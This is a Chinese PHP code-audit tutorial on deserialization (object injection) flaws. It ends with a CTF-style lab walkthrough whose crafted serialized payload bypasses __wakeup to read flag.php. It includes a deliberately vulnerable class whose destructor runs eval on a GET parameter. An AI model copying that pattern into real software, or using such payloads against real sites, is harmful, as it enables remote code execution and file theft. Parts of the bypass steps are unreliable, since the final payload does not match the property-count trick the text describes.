代码审计-PHP反序列化漏洞
什么是序列化
序列化可以实现将对象压缩并格式化,方便数据的传输和存储。
为什么要序列化?
PHP 文件在执行结束时会把对象销毁,如果下次要引用这个对象的话就很麻烦,所以就有了对象序列化,实现对象的长久存储,对象序列化之后存储起来,下次调用时直接调出来反序列化之后就可以使用了。
学习序列化要了解的基本内容。
类(Class): 类的定义包含了数据的形式以及对数据的操作。
对象:对象是类的实例。
方法:类中定义的函数。
<?php
//创建一个类 Test
class Test
{ //定义 3 个属性,最后序列化后看一下这 3 个属性序列化后的结果。
private $a = "private";
public $b = "public";
protected $c = "protected";
}
//创建一个对象,对象是类的实例。
$test = new Test();
//序列化 test 这个对象
$data = serialize($test);
//打印序列化后的对象
echo $data;
?>
展示结果(前提条件,php只有再apache下可以运行,之前我创建了txt,发现无法运行,避免踩坑)
序列化之后的结果,每个字符都具有具体含义
O:4:"Test":3: {s:7:"Testa";s:7:"private"; s:1:"b";s:6:"public"; s:4:"*c";s:9:"protected";}
O Object 对象
4 名字长度为 4 Test(对象名称)
3 表示对象中存在3个属性
s:7:"Testa"; 变量名字
s:7:"private"; 值
- s string 字符串
- 7 变量名长度为7 private私有的,会在Testa前后添加\00 ,即
\X00Test\X00a
(因此长度为7) - s string 字符串
- 7 变量的值长度为7 private 值
s:1:"b";
s:6:"public"
- s string
- 1 名字长度 1
- b 变量名字
s:4:"*c";
s:9:"protected";
- s string
- 4 名字长度 4
- *c 变量名字
\x00*\x00c
序列化的过程:
通过classTest创建一个对象,然后把这个对象进行序列化,打印出来
反序列化:
PHP 反序列化漏洞又叫做 PHP 对象注入漏洞,成因在于代码中的 unserialize() 接收的参数可控,从上面的例子看,这个函数的参数是一个序列化的对象,而序列化的对象只含有对象的属性,那我们就要利用对对象属性的篡改实现最终的攻击
代码如下:
(注意:Testa和*c的部分要留出空格来,与前面的的长度相符合)
输出要用var_dump而不是echo
<?php
$data = 'O:4:"test":3:{s:7:" Test a";s:7:"private";s:1:"b";s:6:"public";s:4:" * c";s:9:"protected";}';
$free = unserialize($data);
var_dump($free);
?>
结果如下:
object(__PHP_Incomplete_Class)#1 (4) {
["__PHP_Incomplete_Class_Name"]=>
string(4) "test"
[" Test a"]=> //名字
string(7) "private" //值
["b"]=> //名字
string(6) "public" //值
[" * c"]=> //名字
string(9) "protected" //值
}
反序列化造成漏洞的原因:
- 反序列化一般都是用户传递过来恶意代码,通过反序列化执行
- 反序列化的字符串用户可以控制 用户可以修改任意的属性值。可以控制任意的变量值
- 内容长度改变以后,前面的长度也需要跟着改变
序列化-魔术方法
魔术方法介绍:
方法:类中定义的函数。
上面我们演示了如何进行序列化和反序列化,但是我们仅使用了属性,也就是变量,变量我们可以当
做数据来看待,而编程就是对数据进行一些列的操作和处理,操作和处理数据的过程我们一般通过函数来
定义,函数在面向对象编程中我们一般称之为方法,所以后续如果老师说到方法就等于说的是函数功能。
特殊的方法-魔术方法。
PHP 将所有以 __(两个下划线)开头的类方法保留为魔术方法,这些都是 PHP 内置的方法。
__construct 当一个对象创建时被调用,
__destruct 当一个对象销毁时被调用,
__wakeup() 使用 unserialize 时触发
__sleep() 使用 serialize 时触发
__call() 在对象上下文中调用不可访问的方法时触发
__callStatic() 在静态上下文中调用不可访问的方法时触发
__get() 用于从不可访问的属性读取数据
__set() 用于将数据写入不可访问的属性
__isset() 在不可访问的属性上调用 isset()或 empty()触发
__unset() 在不可访问的属性上使用 unset()时触发
__toString() 把类当作字符串使用时触发,返回值需要为字符串
__invoke() 当脚本尝试将对象作为函数调用时触发
Q:为什么要讲魔术方法?
A:魔术方法中经常定义一些危险函数。
反序列化漏洞出现需要满足两个条件:
- unserialize 时参数用户可控
- 参数被传递到方法中被执行,并且方法中使用了危险函数。
什么是危险函数?比如 php 代码执行函数、文件读取函数、文件写入函数等等。
用户控制的这些值会传入到危险函数中执行,绝大部分和魔术函数有关
<?php
class Test{
var $owen = "demo";
function __destruct(){
//_destruct()函数中调用 eval 执行序列化对象中的语句
@eval($this->owen);
}
}
$owen = $_GET['owen'];
$len = strlen($owen)+1;
//构造序列化对象
$ser = "O:4:\"Test\":1:{s:4:\"owen\";s:".$len.":\"".$owen.";\";}";
// 反序列化同时触发_destruct 函数
$xuegod = unserialize($ser);
?>
实战操作:
1. <?php
2. class Owen{
3. private $file='ctf.php';
4. function __destruct(){
5. if(!empty($this->file))
6. {
7. show_source($this->file);
8. }
9. }
10. function __wakeup(){
11. $this->file='ctf.php';
12. }
13. }
14. if(!isset($_GET['file'])){ //isset() 函数用于检测变量是否已设置并且非 NULL
15. show_source('ctf.php');
16. }
17. else{
18. unserialize($_GET['file']);
19. }
20. //flag in flag.php
21. ?>
解题思路:
发现结果是存在flag.php中,因此只要将对反序列化的值进行修改成flag.php就可以获取到最终flag
根据14行的功能要求,先获取OWEN的序列化,从而将其进行后面的unserialize
<?php
class Owen{
//修改 file=flag.php
private $file='ctf.php';
function __destruct(){
if(!empty($this->file))
{
show_source($this->file);
}
}
function __wakeup(){
$this->file='ctf.php';
} }
**$free = new Owen();**
**$s = serialize($free);**//将free进行序列化出来
**echo($s);**
?>
获取结果为:
O:4:"owen":1:{s:10:"owenfile";s:7:"ctf.php";}
将序列化的值进行修改,为之后的反序列化做准备
修改成:
O:4:"owen":1:{s:10:"owenfile";s:8:"flag.php";}
通过get方式:
http://192.168.1.69/ctf.php?file=O:4:"owen":1:{s:10:"owenfile";s:8:"flag.php";}
结果发现没有改变,分析一下原因:
发现这个魔术方法会在反序列时自动触发
将file重新修改成ctf.php,即flag.php->ctf.php
function __wakeup(){
$this->file='ctf.php';
}
因此需要绕过__wakeup()
绕过技巧:
当属性个数大于原本属性个数时,将不触发__wakeup()
继续修改:
O:4:"owen":1:{s:10:"owenfile";s:8:"flag.php";}
结果发现还是不成功,因为owen(属性名)file(变量名)长度不匹配,前面说到过private的长度特点:
O:4:"owen":1:{s:10:"%00owen%00file";s:8:"flag.php";}
最后成功绕过!获取到flag
思路总结:
1.绕过wakeup魔术方法
属性个数大于后面实际的数量 则不触发wakeup
2.URL地址中空白字符用%00 反序列化s改成S可以使用\00作为空白字符